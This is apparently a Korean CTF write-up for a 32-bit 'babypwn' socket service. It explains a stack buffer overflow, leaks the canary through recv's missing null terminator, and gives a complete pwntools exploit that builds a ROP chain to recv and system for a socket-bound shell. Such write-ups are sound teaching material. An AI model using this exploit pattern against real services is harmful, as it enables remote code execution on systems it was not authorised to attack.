우선 바이너리는 32비트에서 실행가능한 바이너리다.


바이러리를 실행하면 bind 에러가 뜬다.

소켓통신으로 이 바이너리를 실행하고 있어서 그렇다.


보호기법을 확인해보면 nx와 카나리가 적용되어있다.


이제 ida로 main함수를 보면 main함수의 argv에 인자로 포트넘버가 들어갔으면 그 인자로 포트를 개방하고 만약 디폴트로 실행을 하면 8181포트로 소켓을 열겠다는 거다.


즉 문제와는 관련이 없다.


일단 문제를 풀려면 한개 터미널에선 바이너리를 실행해주고, 다른 한개에서는 nc로 8181포트로 붙으면 된다.

1,2,3번 메뉴가 있고 어느정도 입력이 없으면 타임아웃으로 바이너리가 종료된다.


우선 1번을 입력하면 내가 입력한 값을 echo해준다.

2번은 입력한 값을 reverse해서 echo해준다.

3번은 바이너리를 종료한다.


여기서 취약점이 있는 부분을 찾아야 한다.

사용자가 값을 입력하는 부분에 취약점이 존재할 것이다..(대부분 그렇겠지?)

gdb로는 심볼이 없어서 메인도 그렇고 함수들을 찾을 수 가 없다..
그래서 ida로 찾아보면 위 메뉴를 출력해주는 함수를 찾을 수 있다.

sub_8048A71()함수가 그 함수다.

좀 더 살펴보자.

아까 1번과 2번을 입력했을 때 사용자 입력을 받는 함수에 넣는 인자 부분을 보면 된다.


즉 버퍼의 크기는 52인데 100만큼을 사용자에게 입력받는 구조다. 따라서 오버플로우가 터진다.

52바이트만큼 오버플로우하면 sfp와 ret가 있을테니 덮으면 끝이 나겠다고  생각했으나 카나리가 있으므로 

카나리를 알아내서 똑같이 입력해줘야한다..

어떻게 찾지...


맨 위에 변수 크기가 초기화될 때 var_34가 사용자가 입력하는 값이 들어가는 변수고,  var_C가 카나리가 들어가는 자리의 크기다.


즉  1번메뉴를 통해서 더미를 40바이트 입력하면 카나리를 릭해서 같이 출력될 것이다.

그래서 버퍼의 크기를 가지고 처리하는 함수를 보니 그 함수안에서 recv()함수로 입력을 받는다.

recv()함수는 사용자입력 끝에 null byte를 붙이지 않는다. 따라서 그냥 40바이트를 꽉채워서 입력하면 카나리와 붙어서 한 변수로 인식을 할 것이다.

40바이트를 채워주면 된다. (근데 실제 테스트해보면 40바이트를 주면 값이 제대로 나오지 않는다. 왜나면 카나리의 첫바이트가 null바이트이기 때문이다. 그래서 일단 null이 아닌 임의의 값을 한개 더 추가해서 나머지 카나리 값을 릭해야한다.)


그리고 system@plt가 바이너리에 있으므로 rop가젯을 모아서 익스를 하면 된다.



exploit code
from pwn import *

elf = ELF("./babypwn")
system_plt = elf.plt['system']
recv_plt = elf.plt['recv']
ppppr = 0x8048eec 
bss = elf.bss() 
binsh = "/bin/sh <&4 >&4 2>&4"

log.info("system@plt = {}".format(hex(system_plt)))
log.info("recv@plt = {}".format(hex(recv_plt)))

dummy = "A"*41

r = remote("localhost", 8181) 
print r.recvuntil(">")
r.sendline("1")

print r.recvuntil(":")

r.send(dummy)

r.recvuntil(dummy)

canary = u32("\x00"+r.recv())
log.info("canary = {}".format(hex(canary)))

print r.recvuntil(">")
r.sendline("1")
print r.recvuntil(":")

payload = "A"*40
payload += p32(canary)
payload += "A"*12
payload += p32(recv_plt)
payload += p32(ppppr)
payload += p32(4)
payload += p32(bss)
payload += p32(len(binsh))
payload += p32(0)
payload += p32(system_plt)
payload += "BBBB"
payload += p32(bss)

r.sendline(payload)
print r.recvuntil(">")
r.sendline("3")

r.sendline(binsh)

r.interactive()


'CTF' 카테고리의 다른 글

CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14

+ Recent posts